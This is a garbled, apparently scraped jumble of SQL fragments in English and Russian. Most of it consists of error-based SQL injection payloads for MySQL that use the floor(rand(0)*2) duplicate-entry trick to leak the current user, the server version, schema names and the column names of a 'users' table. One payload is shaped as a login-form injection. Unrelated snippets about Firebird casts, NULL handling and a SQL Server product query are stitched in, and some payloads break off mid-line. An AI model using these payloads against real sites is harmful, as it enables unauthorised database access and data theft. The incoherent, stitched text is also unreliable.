select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
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...(select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char)
Поиск текущего пользователя: 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'. Цель тут простая найти способ ,сделать вывод об отчете об ошибках,другими словами мы до��жны динамически передать подстроку в ошибку...
username=pwner10&password='),(select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)...
I have developed a query, and in the results for the first three columns I get NULL. How can I replace it with 0?
SELECT DISTINCT CAST(EnglishProductName AS char(10)) AS Name, ListPrice FROM dbo.DimProduct WHERE EnglishProductName LIKE 'Long-Sleeve Logo Jersey, M'